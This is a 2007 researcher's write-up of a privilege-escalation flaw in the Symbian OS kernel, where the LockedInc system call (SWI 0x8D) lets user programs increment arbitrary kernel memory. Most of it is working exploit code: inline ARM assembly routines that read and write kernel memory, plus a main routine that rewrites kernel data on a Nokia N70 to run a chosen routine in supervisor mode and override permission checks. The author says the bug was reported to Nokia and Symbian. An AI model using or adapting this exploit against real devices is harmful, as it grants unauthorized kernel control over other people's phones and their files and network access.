Escalation of permissions in Symbian phones
by FCA00000-at-yahoo-dot-es
05.03.2007
Symbian is an operating system used in many mobile phones including the new Nokia models and the Siemens-SX1.
In symbian the programs are usually executed in user-mode.
To access protected services they need to jump into kernel mode, which has unlimited power.
Of course the kernel will not allow the user program to do anything it wants: permissions need to be requested.
In particular, user-mode programs are not supposed to alter other processes or access the private filesystem.
Until now :-)
I discovered a weakness in the kernel funcion ExecHandler::LockedInc.
Normally it is used to increment a value whithin the current thread.
The assembly code is:
LDR R3, [R0] // loads R3 with the value at address R0
MOV R2, R3 // copies into R2
ADD R3, R3, #1 // increments
STR R3, [R0] // puts it back
MOV R0, R2 // tells the previous value
RET // returns
The function is invoked as
User::LockedInc(TInt& aValue);
that is inside euser.dll . The code simply does SWI 0x8D
(For a complete explanation. see "Crossing the Userland" by John Pagonis)
Because of the way it is invoked, it allows to choose any memory address, even kernel memory.
All we need is R0 pointing to the right place:
TInt addr=0x80400000;
asm ("MOV r0, %0" : : "r"(addr) : "r0"); // setup R0
asm ("MOV LR, PC" ); // come back when finished
asm ("SWI 0x8D"); // simulate User::LockedInc(int &)
asm ("nop"); // waste time
asm ("STR r0, %0" : "=m"(addr) ); // show new value
The only problem is that also increments the content, but with another SWI 0x8E we can decrement.
Of course not all memory can be read/written.
These are some interesting addresses:
The ROM starts from 0x50000000 and can be read, not written.
The addresses 0x00000000 - 0x3FFFFFFF do not exist
Starting from 0x40000000 there are 8K of static shared data
The kernel data EKern::SvDat lays at 0x80000000
The kernel stack EKern::SvStack is located at 0x80400000
After writing the EKern::SvDat it is trivial to jump in supervisor mode to a
all-powerfull routine that yourself program.
For example, when the processor is idle, it calls the NullThread that will land in
ImpHal::Init5
which in a Nokia N70, does
LDR R3, =0x8000047C
LDR R0, [R3]
LDR R3, [R0]
MOV LR, PC
LDR PC, [R3,#0x18]
So I can write:
at address 0x8000047C, value 0x80000480 to set R0
at address 0x80000480, value 0x80000484 to set R3
at address 0x80000484+0x18, value 0x80000500 to set PC
at 0x80000500 , a powerfull routine.
I would use these:
TInt IncMem(TInt addr)
{
TInt value;
asm ("MOV r0, %0" : : "r"(addr) : "r0");
asm ("MOV LR, PC" );
asm ("SWI 0x8D");
asm ("nop");
asm ("STR r0, %0" : "=m"(value) );
return value;
}
TInt DecMem(TInt addr)
{
TInt value;
asm ("MOV r0, %0" : : "r"(addr) : "r0");
asm ("MOV LR, PC" );
asm ("SWI 0x8E");
asm ("nop");
asm ("STR r0, %0" : "=m"(value) );
return value;
}
void WriteMem(TInt addr, TInt value)
{
TInt currValue;
currValue = IncMem(addr);
DecMem(addr);
for(TInt i=currValue; i<value; i++)
IncMem(addr);
}
main() // replace with HandleCommandL or similar
{
TInt addr, value;
addr=0x80000500; value=0xE1A0F00E /* code for RET */ ; WiteMem(addr, value);
addr=0x80000484+0x18; value=0x80000500; WiteMem(addr, value);
addr=0x80000480; value=0x80000484; WiteMem(addr, value);
addr=0x8000047C; value=0x80000480; WiteMem(addr, value);
// wait until processor gets idle
}
So we achieve to jump to 0x80000500 in supervisor mode !
Use GCC or Keil to compile any useful routine, for example to increase the permissions of your Thread.
Then, you can override the TCE and read any system file or interact with the network.
There are several problems:
First, it can only increment the value. To set a given value, it needs to write many times.
If the current value is 0x12345678 and you want to write 0x22222221, then it needs 0x0FEDCBA9 operations.
This takes a long time, even if you optimize the code. At least needs 20 minutes
Second, it can not read a value without modifying it. This means that some critical kernel variables
can not be read because any slight change will make a crash.
Third, Symbian uses pointers to pointers to pointers to pointers. This makes it difficult to
analyze any data.
Last, every model is different. Kernel memory addresses are dependent on the kernel version. Different
firmware version also changes the addresses.
Nokia and Symbian have been informed about this. They even replied.
From my understanding, this bug is serious because any program can do any escalation of privileges.
I haven't verified in Symbian 9 ; only in previous versions.
So, be carefull about which programs you install in your mobile. You might get nasty surprises.
Thanks to Eric Bustarret for his great informations at www.newlc.com
To Vovan888 and SERRGE at www.oslik.ru for their great ideas.
To Jane Sales et Al. for the book Symbian OS Internals
To Siemens, for making a fully-open mobile.
To Symbian, for its great design. Even if their OS has bugs, it it really well done.